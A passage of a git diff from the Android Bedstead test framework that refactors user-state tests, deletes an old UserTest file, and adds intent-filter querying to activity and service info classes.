+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
@@ -53,8 +56,10 @@
     private static final int USER_ID = NON_EXISTING_USER_ID;
     private static final String USER_NAME = "userName";
     private static final String TEST_ACTIVITY_NAME = "com.android.bedstead.nene.test.Activity";
-
+    private static final int SERIAL_NO = 1000;
+    private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
     private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
@@ -70,29 +75,14 @@
     }
 
     @Test
-    public void resolve_doesNotExist_returnsNull() {
-        assertThat(TestApis.users().find(NON_EXISTING_USER_ID).resolve()).isNull();
+    public void exists_doesNotExist_returnsFalse() {
+        assertThat(TestApis.users().find(NON_EXISTING_USER_ID).exists()).isFalse();
     }
 
     @Test
     @EnsureHasSecondaryUser
-    public void resolve_doesExist_returnsUser() {
-        assertThat(sDeviceState.secondaryUser().resolve()).isNotNull();
-    }
-
-    @Test
-    // TODO(scottjonathan): We should specify that we can create a new user
-    @EnsureHasNoSecondaryUser
-    @EnsureHasNoWorkProfile
-    public void resolve_doesExist_userHasCorrectDetails() {
-        UserReference userReference = TestApis.users().createUser().name(USER_NAME).create();
-
-        try {
-            User user = userReference.resolve();
-            assertThat(user.name()).isEqualTo(USER_NAME);
-        } finally {
-            userReference.remove();
-        }
+    public void exists_doesExist_returnsTrue() {
+        assertThat(sDeviceState.secondaryUser().exists()).isTrue();
     }
 
     @Test
@@ -116,13 +106,13 @@
     }
 
     @Test
-    public void start_userNotStarted_userIsStarted() {
+    public void start_userNotStarted_userIsUnlocked() {
         UserReference user = TestApis.users().createUser().create().stop();
 
         user.start();
 
         try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+            assertThat(user.isUnlocked()).isTrue();
         } finally {
             user.remove();
         }
@@ -135,14 +125,12 @@
 
         sDeviceState.secondaryUser().start();
 
-        assertThat(sDeviceState.secondaryUser().resolve().state())
-                .isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        assertThat(sDeviceState.secondaryUser().isUnlocked()).isTrue();
     }
 
     @Test
-    public void stop_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class,
-                () -> TestApis.users().find(NON_EXISTING_USER_ID).stop());
+    public void stop_userDoesNotExist_doesNothing() {
+        TestApis.users().find(NON_EXISTING_USER_ID).stop();
     }
 
     @Test
@@ -151,8 +139,7 @@
     public void stop_userStarted_userIsStopped() {
         sDeviceState.secondaryUser().stop();
 
-        assertThat(sDeviceState.secondaryUser().resolve().state())
-                .isEqualTo(User.UserState.NOT_RUNNING);
+        assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
     }
 
     @Test
@@ -163,8 +150,7 @@
 
         sDeviceState.secondaryUser().stop();
 
-        assertThat(sDeviceState.secondaryUser().resolve().state())
-                .isEqualTo(User.UserState.NOT_RUNNING);
+        assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
     }
 
     @Test
@@ -202,7 +188,161 @@
     public void stop_isWorkProfileOfCurrentUser_stops() {
         sDeviceState.workProfile().stop();
 
-        assertThat(sDeviceState.workProfile().resolve().state())
-                .isEqualTo(User.UserState.NOT_RUNNING);
+        assertThat(sDeviceState.workProfile().isRunning()).isFalse();
+    }
+
+    @Test
+    public void serialNo_returnsSerialNo() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.serialNo())
+                .isEqualTo(sUserManager.getSerialNumberForUser(Process.myUserHandle()));
+    }
+
+    @Test
+    public void serialNo_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::serialNo);
+    }
+
+    @Test
+    @EnsureHasPermission(CREATE_USERS)
+    @RequireSdkVersion(min = S, reason = "getUserName is only available on S+")
+    public void name_returnsName() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.name()).isEqualTo(sUserManager.getUserName());
+    }
+
+    @Test
+    public void name_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::name);
+    }
+
+    @Test
+    @EnsureHasPermission(CREATE_USERS)
+    @RequireSdkVersion(min = S, reason = "getUserType is only available on S+")
+    public void type_returnsType() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.type().name()).isEqualTo(sUserManager.getUserType());
+    }
+
+    @Test
+    public void type_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::type);
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void isPrimary_isPrimary_returnsTrue() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.isPrimary()).isTrue();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    public void isPrimary_isNotPrimary_returnsFalse() {
+        UserReference user = sDeviceState.secondaryUser();
+
+        assertThat(user.isPrimary()).isFalse();
+    }
+
+    @Test
+    public void isPrimary_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::isPrimary);
+    }
+
+    @Test
+    public void isRunning_userNotStarted_returnsFalse() {
+        UserReference user = TestApis.users().createUser().create();
+        user.stop();
+
+        try {
+            assertThat(user.isRunning()).isFalse();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void isRunning_userIsRunning_returnsTrue() {
+        UserReference user = TestApis.users().createUser().create();
+        user.start();
+
+        try {
+            assertThat(user.isRunning()).isTrue();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void isRunning_userDoesNotExist_returnsFalse() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThat(user.isRunning()).isFalse();
+    }
+
+    @Test
+    public void isUnlocked_userIsUnlocked_returnsTrue() {
+        UserReference user = TestApis.users().createUser().createAndStart();
+
+        try {
+            assertThat(user.isUnlocked()).isTrue();
+        } finally {
+            user.remove();
+        }
+    }
+
+    // TODO(b/203542772): add tests for locked state
+
+    @Test
+    public void isUnlocked_userDoesNotExist_returnsFalse() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThat(user.isUnlocked()).isFalse();
+    }
+
+    @Test
+    @EnsureHasWorkProfile
+    public void parent_returnsParent() {
+        assertThat(sDeviceState.workProfile().parent()).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void parent_noParent_returnsNull() {
+        UserReference user = TestApis.users().instrumented();
+
+        assertThat(user.parent()).isNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    public void parent_userDoesNotExist_throwsException() {
+        UserReference user = TestApis.users().find(NON_EXISTING_USER_ID);
+
+        assertThrows(NeneException.class, user::parent);
+    }
+
+    @Test
+    public void autoclose_removesUser() {
+        int numUsers = TestApis.users().all().size();
+
+        try (UserReference user = TestApis.users().createUser().create()) {
+            // We intentionally don't do anything here, just rely on the auto-close behaviour
+        }
+
+        assertThat(TestApis.users().all()).hasSize(numUsers);
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
deleted file mode 100644
index 4289f47..0000000
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.users;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import com.android.bedstead.nene.TestApis;
-
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@RunWith(JUnit4.class)
-public class UserTest {
-
-    private static final int NON_EXISTING_USER_ID = 10000;
-    private static final int USER_ID = NON_EXISTING_USER_ID;
-    private static final int SERIAL_NO = 1000;
-    private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
-    private static final String USER_NAME = "userName";
-
-    @Test
-    public void id_returnsId() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mId = USER_ID;
-        User user = new User(mutableUser);
-
-        assertThat(user.id()).isEqualTo(USER_ID);
-    }
-
-    @Test
-    public void construct_idNotSet_throwsNullPointerException() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mId = null;
-
-        assertThrows(NullPointerException.class, () -> new User(mutableUser));
-    }
-
-    @Test
-    public void serialNo_returnsSerialNo() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mSerialNo = SERIAL_NO;
-        User user = new User(mutableUser);
-
-        assertThat(user.serialNo()).isEqualTo(SERIAL_NO);
-    }
-
-    @Test
-    public void serialNo_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mutableUser);
-
-        assertThat(user.serialNo()).isNull();
-    }
-
-    @Test
-    public void name_returnsName() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mName = USER_NAME;
-        User user = new User(mutableUser);
-
-        assertThat(user.name()).isEqualTo(USER_NAME);
-    }
-
-    @Test
-    public void name_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mutableUser);
-
-        assertThat(user.name()).isNull();
-    }
-
-    @Test
-    public void type_returnsName() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mType = USER_TYPE;
-        User user = new User(mutableUser);
-
-        assertThat(user.type()).isEqualTo(USER_TYPE);
-    }
-
-    @Test
-    public void type_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mutableUser);
-
-        assertThat(user.type()).isNull();
-    }
-
-    @Test
-    public void hasProfileOwner_returnsHasProfileOwner() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mHasProfileOwner = true;
-        User user = new User(mutableUser);
-
-        assertThat(user.hasProfileOwner()).isTrue();
-    }
-
-    @Test
-    public void hasProfileOwner_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mutableUser);
-
-        assertThat(user.hasProfileOwner()).isNull();
-    }
-
-    @Test
-    public void isPrimary_returnsIsPrimary() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mIsPrimary = true;
-        User user = new User(mutableUser);
-
-        assertThat(user.isPrimary()).isTrue();
-    }
-
-    @Test
-    public void isPrimary_notSet_returnsNull() {
-        User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mutableUser);
-
-        assertThat(user.isPrimary()).isNull();
-    }
-
-    @Test
-    public void state_userNotStarted_returnsState() {
-        UserReference user = TestApis.users().createUser().create();
-        user.stop();
-
-        try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
-        } finally {
-            user.remove();
-        }
-    }
-
-    @Test
-    @Ignore("TODO: Ensure we can enter the user locked state")
-    public void state_userLocked_returnsState() {
-        UserReference user = TestApis.users().createUser().createAndStart();
-
-        try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_LOCKED);
-        } finally {
-            user.remove();
-        }
-    }
-
-    @Test
-    public void state_userUnlocked_returnsState() {
-        UserReference user = TestApis.users().createUser().createAndStart();
-
-        try {
-            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
-        } finally {
-            user.remove();
-        }
-    }
-
-    @Test
-    public void parent_returnsParent() {
-        UserReference parentUser = new User(createValidMutableUser());
-        User.MutableUser mutableUser = createValidMutableUser();
-        mutableUser.mParent = parentUser;
-        User user = new User(mutableUser);
-
-        assertThat(user.parent()).isEqualTo(parentUser);
-    }
-
-    @Test
-    public void autoclose_removesUser() {
-        int numUsers = TestApis.users().all().size();
-
-        try (UserReference user = TestApis.users().createUser().create()) {
-            // We intentionally don't do anything here, just rely on the auto-close behaviour
-        }
-
-        assertThat(TestApis.users().all()).hasSize(numUsers);
-    }
-
-    private User.MutableUser createValidMutableUser() {
-        User.MutableUser mutableUser = new User.MutableUser();
-        mutableUser.mId = 1;
-        return mutableUser;
-    }
-}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
index e1e8ef1..f7ecee1 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -20,7 +20,6 @@
 
 import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
 import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
-import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
@@ -206,7 +205,7 @@
                 .create();
 
         try {
-            assertThat(userReference.resolve().name()).isEqualTo(USER_NAME);
+            assertThat(userReference.name()).isEqualTo(USER_NAME);
         } finally {
             userReference.remove();
         }
@@ -219,7 +218,7 @@
                 .create();
 
         try {
-            assertThat(userReference.resolve().type()).isEqualTo(mSecondaryUserType);
+            assertThat(userReference.type()).isEqualTo(mSecondaryUserType);
         } finally {
             userReference.remove();
         }
@@ -246,7 +245,7 @@
         UserReference user = TestApis.users().createUser().type(mSecondaryUserType).create();
 
         try {
-            assertThat(user.resolve()).isNotNull();
+            assertThat(user.exists()).isTrue();
         } finally {
             user.remove();
         }
@@ -261,7 +260,7 @@
                 .type(mManagedProfileType).parent(systemUser).create();
 
         try {
-            assertThat(user.resolve()).isNotNull();
+            assertThat(user.exists()).isTrue();
         } finally {
             user.remove();
         }
@@ -275,7 +274,7 @@
                 .type(mManagedProfileType).parent(systemUser).create();
 
         try {
-            assertThat(user.resolve().parent()).isEqualTo(TestApis.users().system());
+            assertThat(user.parent()).isEqualTo(TestApis.users().system());
         } finally {
             user.remove();
         }
@@ -318,11 +317,11 @@
 
     @Test
     public void createAndStart_isStarted() {
-        User user = null;
+        UserReference user = null;
 
         try {
-            user = TestApis.users().createUser().name(USER_NAME).createAndStart().resolve();
-            assertThat(user.state()).isEqualTo(RUNNING_UNLOCKED);
+            user = TestApis.users().createUser().name(USER_NAME).createAndStart();
+            assertThat(user.isUnlocked()).isTrue();
         } finally {
             if (user != null) {
                 user.remove();
@@ -468,7 +467,7 @@
     public void nonExisting_userDoesNotExist() {
         UserReference userReference = TestApis.users().nonExisting();
 
-        assertThat(userReference.resolve()).isNull();
+        assertThat(userReference.exists()).isFalse();
     }
 
     @Test
@@ -493,14 +492,13 @@
             TestApis.users().setStopBgUsersOnSwitch(true);
             TestApis.users().system().switchTo();
 
-            Poll.forValue("Secondary user state",
-                    () -> sDeviceState.secondaryUser().resolve().state())
-                    .toNotBeEqualTo(RUNNING_UNLOCKED)
+            Poll.forValue("Secondary user running",
+                    () -> sDeviceState.secondaryUser().isRunning())
+                    .toBeEqualTo(false)
                     .errorOnFail()
                     .await();
 
-            assertThat(sDeviceState.secondaryUser().resolve().state())
-                    .isNotEqualTo(RUNNING_UNLOCKED);
+            assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
         } finally {
             sDeviceState.secondaryUser().start();
             TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
@@ -516,7 +514,7 @@
             TestApis.users().setStopBgUsersOnSwitch(false);
             TestApis.users().system().switchTo();
 
-            assertThat(sDeviceState.secondaryUser().resolve().state()).isEqualTo(RUNNING_UNLOCKED);
+            assertThat(sDeviceState.secondaryUser().isRunning()).isTrue();
         } finally {
             TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
             sDeviceState.secondaryUser().start();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
index 0640104..3addf49 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
@@ -17,6 +17,10 @@
 package com.android.queryable.info;
 
 import android.app.Activity;
+import android.content.IntentFilter;
+
+import java.util.HashSet;
+import java.util.Set;
 
 
 /**
@@ -27,6 +31,7 @@
 public final class ActivityInfo extends ClassInfo {
 
     private final boolean mExported;
+    private final Set<IntentFilter> mIntentFilters;
 
     public static Builder builder() {
         return new Builder();
@@ -38,27 +43,39 @@
                 .exported(activityInfo.exported);
     }
 
-    private ActivityInfo(String activityClass, boolean exported) {
+    private ActivityInfo(String activityClass, boolean exported,
+            Set<IntentFilter> intentFilters) {
         super(activityClass);
         mExported = exported;
+        if (intentFilters == null) {
+            mIntentFilters = new HashSet<>();
+        } else {
+            mIntentFilters = intentFilters;
+        }
     }
 
     public boolean exported() {
         return mExported;
     }
 
+    /** Return the intent filters of this activity.*/
+    public Set<IntentFilter> intentFilters() {
+        return mIntentFilters;
+    }
 
     @Override
     public String toString() {
         return "Activity{"
                 + "class=" + super.toString()
                 + ", exported=" + mExported
+                + ", intentFilters=" + mIntentFilters
                 + "}";
     }
 
     public static final class Builder {
         String mActivityClass;
         boolean mExported;
+        Set<IntentFilter> mIntentFilters;
 
         public Builder activityClass(String activityClassName) {
             mActivityClass = activityClassName;
@@ -78,10 +95,17 @@
             return this;
         }
 
+        /** Set the intent filters with the set of intent filters provided */
+        public Builder intentFilters(Set<IntentFilter> intentFilters) {
+            mIntentFilters = intentFilters;
+            return this;
+        }
+
         public ActivityInfo build() {
             return new ActivityInfo(
                     mActivityClass,
-                    mExported
+                    mExported,
+                    mIntentFilters
             );
         }
     }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java
new file mode 100644
index 0000000..0779dc4
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ServiceInfo.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.info;
+
+import android.app.Service;
+import android.content.IntentFilter;
+
+import java.util.HashSet;
+import java.util.Set;
+
+
+/**
+ * Wrapper for information about an {@link Service}.
+ *
+ * <p>This is used instead of {@link Service} so that it can be easily serialized.
+ */
+public final class ServiceInfo extends ClassInfo {
+
+    private final Set<IntentFilter> mIntentFilters;
+
+    /** Return a new builder for {@link ServiceInfo}. */
+    public static Builder builder() {
+        return new Builder();
+    }
+
+    /** Return a builder for {@link ServiceInfo} with the service class name set. */
+    public static Builder builder(android.content.pm.ServiceInfo serviceInfo) {
+        return builder()
+                .serviceClass(serviceInfo.name);
+    }
+
+    private ServiceInfo(String serviceClass, Set<IntentFilter> intentFilters) {
+        super(serviceClass);
+        if (intentFilters == null) {
+            mIntentFilters = new HashSet<>();
+        } else {
+            mIntentFilters = intentFilters;
+        }
+    }
+
+    /** Return the intent filters of this service.*/
+    public Set<IntentFilter> intentFilters() {
+        return mIntentFilters;
+    }
+
+    @Override
+    public String toString() {
+        return "Service{"
+                + "class=" + super.toString()
+                + "intentFilters=" + mIntentFilters
+                + "}";
+    }
+
+    /** Builder for {@link ServiceInfo}. */
+    public static final class Builder {
+        String mServiceClass;
+        Set<IntentFilter> mIntentFilters;
+
+        /** Set the serviceClassName with the class name provided. */
+        public Builder serviceClass(String serviceClassName) {
+            mServiceClass = serviceClassName;
+            return this;
+        }
+
+        /** Set the serviceClassName with the class name of the service provided. */
+        public Builder serviceClass(Service service) {
+            return serviceClass(service.getClass());
+        }
+
+        /** Set the serviceClassName with the class name from the service class provided. */
+        public Builder serviceClass(Class<? extends Service> serviceClass) {
+            return serviceClass(serviceClass.getName());
+        }
+
+        /** Set the intent filters with the set of intent filters provided */
+        public ServiceInfo.Builder intentFilters(Set<IntentFilter> intentFilters) {
+            mIntentFilters = intentFilters;
+            return this;
+        }
+
+        /** Build the {@link ServiceInfo}*/
+        public ServiceInfo build() {
+            return new ServiceInfo(
+                    mServiceClass,
+                    mIntentFilters
+            );
+        }
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
index 56f4c62..fde7f00 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
@@ -17,6 +17,7 @@
 package com.android.queryable.queries;
 
 import android.app.Activity;
+import android.content.IntentFilter;
 
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
@@ -30,4 +31,7 @@
 
     ClassQuery<E> activityClass();
     BooleanQuery<E> exported();
+
+    /** Query the intent-filters on an activity. */
+    SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters();
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
index 48baadaf..ece537c 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
@@ -16,6 +16,8 @@
 
 package com.android.queryable.queries;
 
+import android.content.IntentFilter;
+
 import com.android.queryable.Queryable;
 import com.android.queryable.info.ActivityInfo;
 
@@ -25,17 +27,21 @@
     private final E mQuery;
     private final ClassQueryHelper<E> mActivityClassQueryHelper;
     private final BooleanQueryHelper<E> mExportedQueryHelper;
+    private final SetQueryHelper<E, IntentFilter, IntentFilterQuery<?>>
+            mIntentFiltersQueryHelper;
 
     ActivityQueryHelper() {
         mQuery = (E) this;
         mActivityClassQueryHelper = new ClassQueryHelper<>(mQuery);
         mExportedQueryHelper = new BooleanQueryHelper<>(mQuery);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(mQuery);
     }
 
     public ActivityQueryHelper(E query) {
         mQuery = query;
         mActivityClassQueryHelper = new ClassQueryHelper<>(query);
         mExportedQueryHelper = new BooleanQueryHelper<>(query);
+        mIntentFiltersQueryHelper = new SetQueryHelper<>(query);
     }
 
     @Override
@@ -49,16 +55,23 @@
     }
 
     @Override
+    public SetQuery<E, IntentFilter, IntentFilterQuery<?>> intentFilters() {
+        return mIntentFiltersQueryHelper;
+    }
+
+    @Override
     public boolean matches(ActivityInfo value) {
         return mActivityClassQueryHelper.matches(value)
-                && mExportedQueryHelper.matches(value.exported());
+                && mExportedQueryHelper.matches(value.exported())
+                && mIntentFiltersQueryHelper.matches(value.intentFilters());
     }
 
     @Override
     public String describeQuery(String fieldName) {
         return Queryable.joinQueryStrings(
           mActivityClassQueryHelper.describeQuery(fieldName + ".activity"),
-          mExportedQueryHelper.describeQuery(fieldName + ".exported")
+          mExportedQueryHelper.describeQuery(fieldName + ".exported"),
+          mIntentFiltersQueryHelper.describeQuery(fieldName + ".intentFilters")
         );
     }
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java
new file mode 100644
index 0000000..d2d5c1a
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQuery.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+/**
+ * Query for an {@link IntentFilter}.
+ *
+ * @param <E> Type of query.
+ */
+public interface IntentFilterQuery<E extends Queryable> extends Query<IntentFilter> {
+
+    /** Create a {@link IntentFilterQueryHelper}*/
+    static IntentFilterQuery<IntentFilterQuery<?>> intentFilter() {
+        return new IntentFilterQueryHelper<>();
+    }
+
+    /** Query for the actions on a intent filter.*/
+    SetQuery<E, String, StringQuery<?>> actions();
+
+    /** Query for the categories of an intent filter.*/
+    SetQuery<E, String, StringQuery<?>> categories();
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java
new file mode 100644
index 0000000..0a81e40
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentFilterQueryHelper.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import android.content.IntentFilter;
+
+import com.android.queryable.Queryable;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+
+/**
+ * Implementation of {@link IntentFilterQuery}.
+ *
+ * @param <E> Type of query.
+ */
+public class IntentFilterQueryHelper<E extends Queryable> implements IntentFilterQuery<E> {
+
+    private final E mQuery;
+    private final SetQueryHelper<E, String, StringQuery<?>> mActionsQueryHelper;
+    private final SetQueryHelper<E, String, StringQuery<?>> mCategoriesQueryHelper;
+
+    IntentFilterQueryHelper() {
+        mQuery = (E) this;
+        mActionsQueryHelper = new SetQueryHelper<>(mQuery);
+        mCategoriesQueryHelper = new SetQueryHelper<>(mQuery);
+    }
+
+    public IntentFilterQueryHelper(E query) {
+        mQuery = query;
+        mActionsQueryHelper = new SetQueryHelper<>(query);
+        mCategoriesQueryHelper = new SetQueryHelper<>(query);
+    }
+
+    @Override
+    public SetQuery<E, String, StringQuery<?>> actions() {
+        return mActionsQueryHelper;
+    }
+
+    @Override
+    public SetQuery<E, String, StringQuery<?>> categories() {
+        return mCategoriesQueryHelper;
+    }
+
+    @Override
+    public boolean matches(IntentFilter value) {
+        Set<String> actions = new HashSet<>();
+        Set<String> categories = new HashSet<>();
+
+        if (value.countActions() > 0) {
+            Iterator<String> actionsIterator = value.actionsIterator();
+
+            while (actionsIterator.hasNext()) {
+                actions.add(actionsIterator.next());
+            }
+        }
+        if (value.countCategories() > 0) {
+            Iterator<String> categoriesIterator = value.categoriesIterator();
+
+            while (categoriesIterator.hasNext()) {
+                categories.add(categoriesIterator.next());
+            }
+        }
+
+
+        return mActionsQueryHelper.matches(actions)
+                && mCategoriesQueryHelper.matches(categories);
+    }
+
+    @Override
+    public String describeQuery(String fieldName) {
+        return Queryable.joinQueryStrings(
+                mActionsQueryHelper.describeQuery(fieldName + ".actions"),
+                mCategoriesQueryHelper.describeQuery(fieldName + ".categories")
+        );
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java
new file mode 100644
index 0000000..ca5bd5b
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ServiceQuery.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
